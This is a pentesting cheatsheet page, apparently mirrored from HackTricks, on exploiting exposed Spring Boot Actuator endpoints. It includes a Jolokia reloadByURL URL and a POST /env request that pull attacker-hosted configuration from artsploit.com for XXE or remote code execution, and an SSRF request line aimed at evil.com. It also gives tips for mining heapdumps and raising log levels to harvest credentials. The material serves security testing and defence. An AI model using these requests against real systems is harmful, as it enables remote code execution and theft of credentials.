repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
spring-actuators.mdMarkdown152 lines8.6 KiBsource raw download

title: "Spring Actuators" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/spring-actuators.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/spring-actuators.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Spring Actuators#

Spring Auth Bypass#

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Exploiting Spring Boot Actuators#

Check the original post from [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**][5]

Key Points:#

Exploitation Techniques:#

  1. Remote Code Execution via '/jolokia':

    • The /jolokia actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
    • The reloadByURL action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
    • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  2. Config Modification via '/env':

    • If Spring Cloud Libraries are present, the /env endpoint allows modification of environmental properties.

    • Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.

    • Example exploit POST request:

      POST /env HTTP/1.1
      Host: 127.0.0.1:8090
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 65
      
      eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
      
  3. Other Useful Settings:

    • Properties like spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, and spring.datasource.tomcat.max-active can be manipulated for various exploits, such as SQL injection or altering database connection strings.

Additional Information:#

  1. Env + H2 RCE:

    • Details on exploiting the combination of /env endpoint and H2 database can be found here.[6]
  2. SSRF on Spring Boot Through Incorrect Pathname Interpretation:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)#

If /actuator/heapdump is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).[1][4]

Tips:

Abusing Actuator loggers/logging to capture credentials#

If management.endpoints.web.exposure.include allows it and /actuator/loggers is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via /actuator/logfile or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).[4]

Notes:

References#